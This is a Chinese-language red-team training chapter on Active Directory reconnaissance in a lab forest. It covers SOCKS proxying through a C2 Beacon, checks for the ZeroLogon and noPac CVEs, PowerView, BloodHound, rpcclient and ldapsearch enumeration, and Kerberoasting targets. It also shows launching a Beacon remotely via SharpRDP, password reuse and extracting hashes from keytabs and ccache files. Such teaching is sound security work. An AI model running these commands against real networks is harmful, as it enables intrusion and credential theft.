章节7:域侦查

历史 CVE 漏洞

在进入域环境后,我们就可以对域进行侦查与枚举了。域是个很庞大的设施,有诸多信息需要我们去提取和枚举,一开始我们可能会觉得有些手足无措,但只要我们梳理好顺序与思路,就不会错过重要的线索。

我一直坚持,枚举和利用总是从最简单的做起,即 low hanging fruit。对于一个保持系统更新的企业域环境来说,想通过 1 个 CVE 漏洞一键接管是较难遇到的事情了,虽然有一些辅助性的漏洞或者默认配置(例如未开启LDAP签名、频道绑定)可以协助我们对单个主机进行执行远程代码或者特权提升。但另一方面,企业并非总是时刻保持域服务器的更新,因此容易受到一些历史 CVE 漏洞影响,尤其是近两年的。这些漏洞,能帮助拿下多个主机,甚至一键接管整个域乃至森林。


配置 SOCKS

在枚举这些漏洞的存在之前,在任意一个 Beacon 交互中执行 socks 1080 命令,这会在我们的 C2 服务器上开启 1080 端口。关于 SOCKS 代理的细节,我们会在后面的章节更详细地介绍。因为这些 CVE 漏洞的扫描或者利用 PoC 有的是以 Python 脚本的形式,我们会想在 VPS 上通过 SOCKS 将流量转发过去。如果 PoC 是 .NET 程序或者 BOF 的形式,那自然是更好的。

image.png

安装 proxychains,如果系统中还没有安装的话。

image.png

编辑 /etc/proxychains.conf

strict_chain
proxy_dns 
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks4 	127.0.0.1 1080

image.png

使用 nmap 测试对靶场内部主机的连通性:proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445

ubuntu@ts:~$ proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:54 UTC
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:139-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:135-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:445-<><>-OK
Nmap scan report for ip-172-16-1-52.ec2.internal (172.16.1.52)
Host is up (0.76s latency).

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds


CVE-2022-26923 证书服务提权漏洞

低权限的域用户在默认的 AD 以及 ADCS 环境中可以提升至域管理员特权。该漏洞需要多个工具组合利用,因为似乎暂时没有一键扫描或利用脚本,在后续章节我们会讲手动利用的具体过程。


CVE-2020-1472 ZeroLogon 漏洞

因为脆弱的密码学设计,攻击者可以模仿任何域主机,包括域控制器,以实现提权。脚本 (https://github.com/SecuraBV/CVE-2020-1472) 可用于测试目标域是否受该漏洞影响。我们可以使用 .NET 版本的工具 (https://github.com/leitosama/SharpZeroLogon/tree/main) 来测试和利用。该漏洞不需要认证或者明文凭证。

image.png

我们甚至能跨域对 dc01 进行检测:

image.png


CVE-2021-42278 NoPAC 漏洞

该漏洞实际上利用了主机账号的伪造,攻击者可以从普通用户提升为域管理员。脚本 (https://github.com/Ridter/noPac) 可用于检测以及利用该漏洞。但这里,我发现了个 .NET 编写的检测与利用工具 (https://github.com/cube0x0/noPac),下载后打开该项目,将 Main 函数公开化,编译。

image.png

将 exe 文件转移到 VPS 上。我们使用 execute-assembly 执行该工具。我们需要提供一个有效的账户,正好我们之前在 Web02 上找到了 serveradm 用户的明文凭证。

根据输出结果,white-bird.local 的域控具有 noPAC 的漏洞,我们在持有一个有效账户的情况下可以一键域内提权。

image.png


MS14-068

因为KDC对于伪造票据签名的失败校验,攻击者可以模仿域管理员从而接管域。我们可以使用脚本 (https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/pykek/ms14-068.py) 对受影响的主机进行利用。考虑到该漏洞较为久远,且靶场的主机都是 Windows 2019,理论上不会存在该漏洞,我们就不进行尝试了。

用户与组

用户与组是域的重要组成部分,并且组是用户的容器,在同一个组里的用户具有特定的相同属性。对于用户和组的枚举,自然是我们首先要做的,因为很多漏洞和不当配置的利用都是围绕着用户与组、主机、服务等展开的。


准备工作

我们可以使用多种工具对域内的用于和组进行枚举,这里,我们使用 PowerView 脚本。我们可以通过 powershell-import 导入脚本,然后使用 powershell 或者 powerpick 命令进行脚本命令执行。

image.png

Web02white-bird.local 域中,我们可以进而对该域进行枚举。虽然我们还没有正式学到域信任的概念,在课程介绍阶段,大家了解到 white-bird.local raven-med.local 域互相信任,当然也包括了 Web01 主机所在的 prod 子域。简单来说,可以互相访问对方域的资源,至少可以枚举对方域的域信息。例如,我们在 Web02 主机上以 white-bird\serveradm 的身份枚举到了 PROD 域中的所有域用户的账户名称,通过 -domain 指定要枚举的域。Web01 是一台 Linux 的域主机,如果一些学员对在 Linux 域主机的枚举还不熟悉的话,我们可以以这样的方式跨域枚举。

image.png

好了,补充了工具用法与简单的理论知识,我们来枚举域的用户与群组信息。


用户的枚举

在枚举域用户的时候,我们需要关注以下这些属性:

用户描述

虽然很多时候用户描述可能是空白的,但如果不是空白的话,用户描述可能会揭露域用户的角色。 如服务器管理员、开发人员等。

Get-NetUser | select description

image.png

我们没有发现什么特别的,然后看看 raven-med.local 域的:

image.png

我们发现 simon 的描述是 CA Manager,这也许意味着 simon 具有 CA 相关的权限,我们发现 simon 是分组 CertManager 的成员。

image.png

预认证

如果某些域用户禁用了预认证 ,我们可以使用 ASREPRoasting 攻击他们并获取 krb5asrep 哈希。 如果幸运的话,我们有可能离线破解这些哈希并获得明文凭证。在现代化的 AD 环境中,已经没有必要禁用预认证了,从安全与防御的角度出发,系统管理员应当给所有账户开启域认证。

Get-NetUser -PreAuthNotRequired

image.png

在当前域,是没有符合条件的用户存在的,看看其他的域,发现了用户 jason 不需要预认证。

image.png

SPN

如果一个域用户被设置了SPN,那么它是一个服务帐号。我们可以对它们进行 Kerberoasting 攻击并获取 krb5tgs 哈希。 如果幸运的话,我们可能离线破解这些哈希并获得用户的明文凭证。

Get-NetUser -SPN

我们发现,账户 sql_servicekrbtgt 被设置了 SPNsql_service 看起来就是一个 SQL 的服务账户,而 krbtgt 总是会被设置 SPN,但实际并不可利用。

image.png

组归属

每个域用户至少属于“域用户”组,但如果有任何域用户属于多个组,那么他们往往可能具有特别的权限,例如可以访问某台主机上的共享目录。

Get-NetUser | select samaccountname,memberof

更适合通过 BloodHound (后续内容介绍) 查看成员与组的关系。

我们以当前用户 serveradm 为例,发现其来自群组 Server Admin

image.png

查看 Server Admin 群组信息,根据描述得知,该组成员可以管理 Web02 Dev01 主机,因此 serveradm 可能对这 2 个主机具有远程访问权限,甚至最高权限 (root 和 Administrator)

image.png

外部成员

如果一个外部成员被拿下了,我们可借此移动到该外部成员原来所在的域。

Get-DomainForeignUser

image.png

在我们可访问的域里,并没有发现外部成员。但是,我们发现,raven-med.local 中的用户 michael,在名为 ExtAdmin 的分组中。ExtAdmin 让人联想到 External Administrator,那么会不会代表 michael 在其他一个我们目前无法访问的域里充当着外部成员呢?这个只能在我们获得了更多的系统和域后验证了。

image.png

image.png


组的枚举

而在枚举组的时候,我们需要关注一下这些

组描述

类似于用户描述。不过有很多组是内置的,因此描述也是统一的。

Get-NetGroup | select samaccountname,description

image.png

我们查看 raven-medicine.local 域中的 Cert Manager 组的描述:

image.png

组类型

如果一个组并非是内置的,而是自定义的,例如Server Admins,那么我们需要多关注一下,因为这个组可能具有特定的权限,例如对 SQL 服务器具备本地管理员权限。

在当前域中,我们已经查看过了自定义分组 Server Admin

image.png

在 PROD 域中,有 1 个自定义分组,Security Team

image.png

例如在 raven-medicine.local 域中,有 2 个自定义的分组,CertManager ExtAdm

image.png

外部组

意义同外部成员。

Get-DomainForeignGroupMember

我们没有在当前域中找到相关记录

image.png

但是在 PROD 域中,我们找到了一些外部组,这是合理的,因为 PROD 和 RAVEN-MED 域是父子域。

image.png

主机

主机是用户、服务的载体,清晰了解每个主机的作用十分重要。在进入域后,我们可以记下主机的 IP操作系统FQDN 等信息。

FQDN

FQDN 的形式是 主机名与完整域名的接合,是在域内定位一台域主机的方法之一。在 PowerView 中,dnshostname 属性即主机的 FQDN。

Get-NetComputer | select dnshostname

image.png

当前域,有 3 个主机,其中 2 个为 Windows 主机,dev01 为 Linux 主机。

我们再看看其他域的情况:

RAVEN-MED 域有 2 个主机

image.png

PROD 域有 4 个主机

image.png

其实我们可以根据 FQDN 来推测目标主机在域中的作用和角色是什么。web01web02 确实都是 Web 应用服务器,file01 推测是作为文件服务器。

 

IP 地址

除了 FQDN,在域内定位域主机的另一种方式则是 IP,我们可以使用 Windows 命令 nslookup.exe 来得到目标主机的 IP 地址。

nslookup [主机名]

image.png

我们可以指定 FQDN,查看其他域的域主机 IP。前提是 DNS 是相互同步的,通常在建立有域信任的情况下。

image.png

 

操作系统

虽然活动目录原生为 Windows 系统打造,但后来,也增加了对 Linux,Mac 等系统的支持。我们的靶场里没有 Mac 系统主机,但有一些 Linux 系统主机,我们可以根据 operatingsystem 属性来查看。

image.png

PROD 域中,也有一台 Linux 域主机:

image.png

Windows 主机

Windows 主机的属性更加复杂,因为 Windows 主机不仅作为主机,而且主机对应的主机帐号也享有着一些类似于用户帐号的特性。单纯作为主机而言,Windows 主机可以被设置委派、GPO 实施的对象等。我们在后续内容中详细展开。


Linux 主机

默认情况下,Linux 的域主机是允许 SSH 访问的,除非指定禁止特定用户访问。这点不像在 Windows 上,如果需要配置 RDP、WinRM访问,需要给用户单独设置特定权限。因此,有了明文凭证后,我们可以尝试使用域账户登录到 Linux 主机上。但系统管理员也可能会修改此默认配置。

root@ts:~# proxychains ssh serveradm@white-bird.local@172.16.1.53
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.53:22-<><>-OK
The authenticity of host '172.16.1.53 (172.16.1.53)' can't be established.
ECDSA key fingerprint is SHA256:P29afmXbT4KB5pYj0TbtWcjvEnMvl1ye0vYvFDf9UJE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.1.53' (ECDSA) to the list of known hosts.
serveradm@white-bird.local@172.16.1.53's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

serveradm@dev01:~$ whoami
serveradm

image.png

OU 与 GPO

组织单元,即 OU,可以用来充当具有同样性质的一些对象的容器。例如,同为 SQL 服务器的 SRV01 与 SRV02 可以用 OU SQL_Server 来存放。再比如,一家公司里,职位相同的一些员工如 HR 的帐号,由 OU HR 来盛放。

而 GPO 是一组定义了系统配置的设置, 并可作用于 OU。通过枚举 GPO,我们可以查看当前域对特定 OU 的特殊设置。我们可能不知道 GPO 的详细设置,但我们可以根据 GPO 名称或描述来推断它们的作用。GPO也可能有助于我们移动到其他机器。例如,GPO可以授予某些用户对特定计算机的 RDP 或 WinRM 访问权。

枚举OU

我们枚举一下当前域的所有 OU:

Get-DomainOU -Properties Name

image.png

总共有 3 个 OU,其中 2 个是自定义的。而 PROD 域中则有多个自定义 OU,

image.png

我们查看一下 SQL Server 的详细信息,可惜并不能直接看出来包含哪些服务器。

image.png

我们可以用这么一个长命令得到指定 OU 所包含的内容:

Get-DomainOU -domain prod.raven-med.local -identity "SQL Server" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name}

PROD 域中的 SQL Server OU 包含了服务器 SRV01。

image.png


枚举GPO

接着,我们来枚举一下存在的 GPO

Get-DomainGPO -Properties DisplayName

image.png

我们发现有一个自定义的 GPO DebugRemoval,查看一下它的详细信息:

image.png

我们并没有看到类似于描述之类的属性,从名称也无法准确推测出该 GPO 的作用。那么,我们来查看一下 PROD 域的 GPO。在 PROD 域,存在更多自定义的 GPO,AppLocker 与 RunAsPPL 都是我们能根据名称推测出作用的 GPO。

image.png

既然推测了 AppLockerRunAsPPL 的作用,我们来查看一下它们的作用对象:

作用于特定主机的所有 GPO

如果我们的目标只是一台主机,我们可以直接查询作用于它的 GPO,我们以当前的 Web02 为例

image.png

有 2 个 GPO 作用于 Web02 主机。

特定 GPO 所作用的 OU

我们能看到,在 PROD 域中,RunAsPPL GPO 只作用于 File Server OU。该 OU 只有一台主机 file01

image.png

image.png

 

BloodHound 则可以显示出 OU 与 GPO 之间更直观的关系。

内部服务访问

我们在域内可以访问的其他服务也不可忽视,因为企业的域环境同时也是个内部网络。我们在一般内部网络渗透中会遇到的应用以及对应的攻击手法,在企业的域环境中依旧适用。诸如 FTP,SSH,HTTP(S) 等普通内网中就很常见的网络服务不再赘述,我们来讲在 AD 中更应当注意的内部服务,例如 SMBMSSQL

SMB

如果拿下的的用户可以访问其他主机的 C$ ADMIN$,意味着该用户拥有对该计算机的本地管理员权限。除了 C$ 和 ADMIN$,还要注意任何可读/可写的共享目录,例如某个服务器开放 dev 共享目录,它可能存储着应用程序的源代码。

我们依旧可以用 PowerView 枚举域内所有 SMB 目录。我们既可以查看所有的共享目录,也可以查看对自己来说可以访问的。先来查看 white-bird 域内所有的 SMB 目录:

Find-DomainShare

image.png

枚举当前用户可以访问的共享目录,我们发现当前用户可以访问 WEB02 的 C$ 和 ADMIN$,这是理所当然的,因为 serveradm 对 WEB02 具有本地管理员特权。

Find-DomainShare -CheckShareAccess

image.png

我们来分别查看一下 PROD 域的:

image.png

其中,file01 的 Tools 共享目录是自定义的,看看这些共享目录中有哪些是可以直接访问的

image.png

很棒,该目录对于 serveradm 这样的域外用户都是可以访问的,看起来存储了一些工具。更令人惊喜的是,该共享目录还可写,那么显然是多了一条利用的道路。至于如何利用,我们会在后续章节讲解。

image.png


MSSQL 服务器

对于 MSSQL,只要我们具有特定权限,就能在其他主机上执行命令。关于 SQL Server 的利用,我们会在下一章做具体阐述。

我们需要先扫描内网段主机的 1433 端口,这是 MSSQL 的常用端口:

image.png

一共有 3 个 MSSQL 实例,分别在 172.16.1.14172.16.1.42,以及 172.16.1.52 主机上。

接下来,我们可以用 PowerUpSql 脚本枚举域内的 SQL 服务器,当前域有 1 台 SQL 服务器,即 Web02。

Get-SQLInstanceDomain

image.png

测试对特定实例,即 Web02 上 SQL03 的访问,我们发现可以访问。

Get-SQLConnectionTest -Instance [实例名]

image.png

获取 SQL 数据库实例信息,我们当前并不是 Sysadmin 权限。此外,还可以看到一些有关操作系统、SQL 版本、SPN 相关的信息。

Get-SQLServerInfo -Instance [实例名]

image.png

获取 SQL 数据库实例的链接,我们发现 SQL03 实例与 SRV02 上的 SQL02 实例互相连接

Get-SQLServerLinkCrawl -Instance [实例名] 

image.png


其他

实际上,还有其他一些的内网服务可以与 AD 进行无缝交互,例如 IIS 服务器ExchangeJenkins 等。在教材未来的更新中,我们争取加入更多这样的案例。

域信任

域信任决定了域与域之间对彼此的资源访问权限,尤其是当我们已经获得了当前域的域管理员,想移动到其他的域或森林里,利用域信任尤其必要。即便尚未获得当前域的域管理员,我们也可以枚举外部域的信息从而打开突破口,外部成员也可以给我们带来突破域的途径。

需要强调的是,域信任的方向与资源访问的方向是相反的,域 A 信任 域 B,那么 域 B 中的主体可以访问 域 A 中的资源。如果信任是双向的,则资源访问也是双向的。枚举域的信任是很直接的,我们只需要命令 Get-DomainTrust。接下来,我们讨论一下各种情况下的域信任。

Get-DomainTrust -Domain [域]


森林内信任

也就是子域与父域、或者子域与另一个子域,信任总是双向的,我们可以利用黄金票据或者信任密钥进行横向移动。
森林之间。

我们枚举 PROD 域的信任关系,发现它只与父域 RAVEN-MED 互相信任。

image.png

但如果我们枚举 RAVEN-MED 域的信任关系,我们发现它不仅与子域 PROD 互相信任,还与别的域存在信任关系。

image.png

那么 PROD 域与这些域间接地存在信任关系吗?这个其实需要看具体配置以及具体分析,森林间的信任在配置信任的时候可以设置成传递性的,也可以是非传递性的。但是,多个森林之间是不可传递的。

image.png


森林间双向信任

我们可以看到当前域与森林 raven-medicine.local 是互相信任的,当然,与 prod.raven-medicine.local 也是。 

image.png


入口信任

raven-medicine 域的信任之中,有来自 med-factory.local 的入口信任,即 raven-med.local 的主题可以访问 med-factory.local 的资源。我们还需要知道信任之间是否建立了选择性信任,即森林中只有特定主体可以对对方域进行认证。该实验中并没有配置该项。

image.png



出口信任

当前森林信任 med-deal.local 域,即 med-deal.local 可以对当前域认证并访问资源。我们并不能枚举对面森林,因此我们需要借助别的技巧和途径。

image.png


综上,对于双向信任以及出口信任,我们可以使用例如 PowerView、SharpHound、adPEAS 等域内信息枚举工具对可访问资源的域进行跨域枚举。



使用 SharpHound 枚举

在本章的之前几篇,BloodHound 多次被提及到。Bloodhound (https://github.com/BloodHoundAD/BloodHound) 是一款利用图论揭示 Active Directory Azure 环境中隐藏的、非预期关系的工具。我们可以使用它快速轻松地枚举域对象并找到攻击路径。

配置 BloodHound

要设置 Bloodhound,我们需要配置多个组件:Neo4j 数据库Sharphound 数据搜集器Bloodhound。虽然可以在 Linux 上设置 Bloodhound,但我们将在 Windows 10 虚拟机上进行设置。

首先,安装 Java (https://www.java.com/en/download/),因为Neo4j 依赖于 Java。在 Java 的最近版本中,安装会自动为我们配置环境变量。然后,安装 Neo4j 社区服务器 (https://neo4j.com/download-center/\#community)。

解压下载的文件,并通过执行命令:neo4j.bat console 来启动 Neo4j。

建议从提升特权的命令行终端中运行,如果一切正常,我们会看到与下面的截图类似的内容:

image.png

然后访问 http://127,.0.0.1:7474 以连接 neo4j 数据库的面板。

image.png

 默认凭证是 neo4j:neo4j,第一次登陆后会要求修改密码。然后,我们可以从 https://github.com/BloodHoundAD/BloodHound/releases 下载最新的 BloodHound 了。

解压并运行 BloodHound,输入修改后的凭证并登陆

image.png

使用 SharpHound 搜集数据

目前,BloodHound 中是空的,因为我们没有上传任何数据,这就需要我们用 SharpHoun 搜集器来搜集域信息了。我们可以从 https://github.com/BloodHoundAD/SharpHound 处下载最新的。

image.png

对于装有旧版本 BloodHound 与 SharpHound 的同学来说,最好同步使用最新版本的,因为这两个工具版本要匹配,不然会有数据文件兼容性问题。下载的 SharpHound 也包含了 PowerShell 版的 SharpHound 了。

SharpHound 支持多个参数,包括搜集方法、请求频率、搜集范围等。灵活指定这些选项的值可以提升 OPSEC,毕竟 SharpHound 默认情况下会在短时间内发送较多 LDAP 请求给域控。哲理的话,我们使用了命令 sharphound.exe -c All --throttle 1500 --jittle 10 来运行 sharphound 搜集器,并成功获得了输出文件。

image.png

重复命令,但是指定域为 PROD 以及 RAVEN-MED。最终将得到的输出文件一起打包下载,传送到 BloodHound 所在的数据,并上传文件。我们也可以使用 PowerShell 版的搜集器搜集数据。

image.png

上传之后,重启 BloodHound,然后就能看见搜集的数据了。

image.png

我们可以以图形化方式简单直接地查看主体之间的关系

image.png

image.png

我们还可以把已经沦陷的域主题标注出来,从而让 BloodHound 自动帮我们计算接下来的攻击路径。

image.png

根据图示,我们是可以从在拿下用户 serveradm 后轻易接管当前域的。

image.png

BloodHound 内置了一些好用的查询语句,例如帮助我们发现了用户 prod\back_operator 具有在 PROD 域内的 DCSync 特权。

image.png

我们还可以用原始查询来自定义查询语句,例如筛选所有具有 SPN 用户的语句为 

MATCH (u: User {hasspn:true}) RETURN u

image.png


除了 BloodHound之外,adPEAS (https://github.com/61106960/adPEAS) 也是很优秀的工具。adPEAS 的用法很简单,导入脚本后执行命令 Invoke-adPEAS 即可,可以指定其他可访问的域。adPEAS 默认会发出大量请求,是 OPSEC 不安全的,因此我们需要指定一些选项。在大量输出中,adPEAS 会高亮一些潜在的配置漏洞,以及自动帮我们获取一些帐号的 Kerberos 哈希。

image.png

在 Linux 上的信息搜集

在 Linux 上的信息搜集,这里有两层含义,一是指在Linux域主机上对所在域进行侦查,另一层是指使用 Kali Linux 或其他 Linux 攻击主机对目标域进行侦查。

第二个 Beacon

目前,我们只有一个来自 Web02 的 Beacon,以及 Web01 的 root 权限 Shell,还没有其他 PROD 域中用户的明文凭证。回想 chatjs 应用中出现的用户,我们发现他们都是域用户。

image.png

image.png

那么就可能存在密码重用,尤其是我们已经破解出 Alice 的密码为 elizabeth (无法还原出其他用户的密码)。再加上默认情况下,所有域用户都可以访问 SSH,那么我们不妨尝试使用 alice:elizabeth 登陆 Web01 的 SSH 服务。

image.png

我们成功登陆了 Web01。并且,我们通过 Chatjs 的利用获得了 root 权限,我们可以灵活地在 alice 与 root 用户之间切换。

查看 Alice 的描述,我们发现她可能具有对 File01 RDP 的访问。

image.png

我们知道 file01 有个公开可读可写的 SMB 目录 Tools,我们猜测其绝对路径为 C:\Tools (使用 UNC 路径执行程序可能会被阻止)。上传一个 Beacon,然后使用 SharpRDP (https://github.com/0xthirteen/SharpRDP) 在不开启 GUI 的情况下通过 RDP 协议远程执行该 Beacon。

sharprdp.exe computername=[FQDN] command="[程序绝对路径]" username=[域NetBIOS\用户名] password=[密码]

image.png

幸运的是,我们猜对了绝对路径,并且获得了新的 Beacon,来自 File01,当前用户为 PROD\Alice。这样,我们有了在 PROD 域的第一个 Beacon。




Linux域主机


有时,面向公众的服务器是 Linux 操作系统,例如 Web 服务器。在利用 Web 应用的漏洞后,我们成功地以普通用户或 root 的身份访问该 Linux 服务器。如果作为普通用户身份,甚至不是域用户,而是 www-data 等服务账户,这时候我们既不知道任意域用户的明文凭证,也无法访问所有文件,因此我们最好的策略是想办法提升到 root 权限,但不排除服务器有一些文件权限的不当配置,使得普通用户也能读取甚至更改一些敏感文件。如果作为root用户,我们可以访问所有的文件了,但依旧没有任何用户的明文密码。在之前的章节里说了,我们需要关注用户的 ccache 文件,位于/tmp 目录下,以及用户与主机的 keytab 文件。域主机的keytab文件固定位于/etc/krb5.keytab,而用户的 keytab 文件不固定,取决于用户习惯。

通常来讲,我们可以通过 SOCKS 代理在攻击主机上远程枚举域信息,但有的加入域的主机会自带一些工具,例如 ldapsearch、pbis-open (https://github.com/BeyondTrust/pbis-open),以及 rpcclient 等。

RPCClient

在 Web01 上并没有内置 RPCClient,不过很多时候该应用是内置的,那我们透过 SOCKS 来枚举。使用 rpcclient,我们需要指定明文帐号密码,尽管有的时候空会话是允许的。
rpcclient -U <域 FQDN>/<账户>%<密码> <DC>
用户

我们通过 enumdomusers 命令来查看所有用户

root@ts:~# proxychains rpcclient -U prod.raven-med.local/alice%elizabeth 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:445-<><>-OK
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sql_service] rid:[0x641]
user:[app_security] rid:[0x642]
user:[network_security] rid:[0x643]
user:[alice] rid:[0x645]
user:[harold] rid:[0x646]
user:[backup_operator] rid:[0x647]
user:[john] rid:[0x648]
user:[newman] rid:[0x64b]
user:[jim] rid:[0x64c]
user:[carl] rid:[0x64d]
user:[fusco] rid:[0x64e]

image.png

通过命令 query <RID> 来查看用户详情

rpcclient $> queryuser 0x641
        User Name   :   sql_service
        Full Name   :
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Tue, 28 Mar 2023 03:04:56 UTC
        Logoff Time              :      Thu, 01 Jan 1970 00:00:00 UTC
        Kickoff Time             :      Thu, 01 Jan 1970 00:00:00 UTC
        Password last set Time   :      Sat, 28 Jan 2023 19:35:18 UTC
        Password can change Time :      Sun, 29 Jan 2023 19:35:18 UTC
        Password must change Time:      Thu, 14 Sep 30828 02:48:05 UTC
        unknown_2[0..31]...
        user_rid :      0x641
        group_rid:      0x201
        acb_info :      0x00000210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x0000000a
        padding1[0..7]...
        logon_hrs[0..21]...

image.png

群组
对于群组,也是类似的,通过 enumdomgroups 命令枚举群组

image.png

对于更多命令,查看 help 菜单即可。

image.png

LDAPSearch

ldapsearch 也是自带的 LDAP 交互工具之一,并且 Web01 上就有安装。我们同样需要指定明文帐号密码,除非空会话被允许。
ldapsearch -h <DC IP> -p 389 -x -b "<站点>" -D '<域\用户>' -w '<密码>'
用户

我们指定了 objectclass user,并且提取 samaccountname 属性:

web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=user)' samaccountname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=user)
# requesting: samaccountname 
#

# Administrator, Users, prod.raven-med.local
dn: CN=Administrator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Administrator

# Guest, Users, prod.raven-med.local
dn: CN=Guest,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Guest

# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
sAMAccountName: DC01$

# krbtgt, Users, prod.raven-med.local
dn: CN=krbtgt,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: krbtgt

# RAVEN-MED$, Users, prod.raven-med.local
dn: CN=RAVEN-MED$,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: RAVEN-MED$

# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: FILE01$

# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: SRV01$

# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: WEB01$

# sql_service, Users, prod.raven-med.local
dn: CN=sql_service,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: sql_service

# app_security, Users, prod.raven-med.local
dn: CN=app_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: app_security

# network_security, Users, prod.raven-med.local
dn: CN=network_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: network_security

# alice, Users, prod.raven-med.local
dn: CN=alice,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: alice

# harold, Users, prod.raven-med.local
dn: CN=harold,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: harold

# backup_operator, Users, prod.raven-med.local
dn: CN=backup_operator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: backup_operator

# john, Users, prod.raven-med.local
dn: CN=john,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: john

# newman, Users, prod.raven-med.local
dn: CN=newman,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: newman

# jim, Users, prod.raven-med.local
dn: CN=jim,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: jim

# carl, Users, prod.raven-med.local
dn: CN=carl,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: carl

# fusco, Users, prod.raven-med.local
dn: CN=fusco,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: fusco

# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
 aven-med,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 21
# numEntries: 19
# numReferences: 1

image.png

主机

我们指定了 objectclasscomputer,并且提取 dnshostname 属性:

web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=computer)' dnshostname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=computer)
# requesting: dnshostname 
#

# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
dNSHostName: dc01.prod.raven-med.local

# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: file01.prod.raven-med.local

# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: srv01.prod.raven-med.local

# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: web01.prod.raven-med.local

# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
 aven-med,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 4
# numReferences: 1

image.png


Linux 攻击主机
接下来,我们讨论在 Linux 攻击主机上通过隧道或者代理对目标进行枚举,对于认证,往往也更加灵活,我们可以使用明文凭证之外的认证方式,例如票据、keytab、哈希等。
我们之前发现了 john 的 home 目录下存放着 keytab,我们可以使用 KeyTabExtract (https://github.com/sosdave/KeyTabExtract) 脚本从 keytab 文件中提取出 NTLM 哈希或者 AES 密钥值,而该 keytab 有着 johnNTLM 哈希。

image.png

以及 /etc 目录下 Web01$ 的哈希

image.png

在 /tmp 目录下,还有着 Alice (该小节刚开始的时候登录的) 与 Administrator 的 ccache。

image.png


BloodHound Python

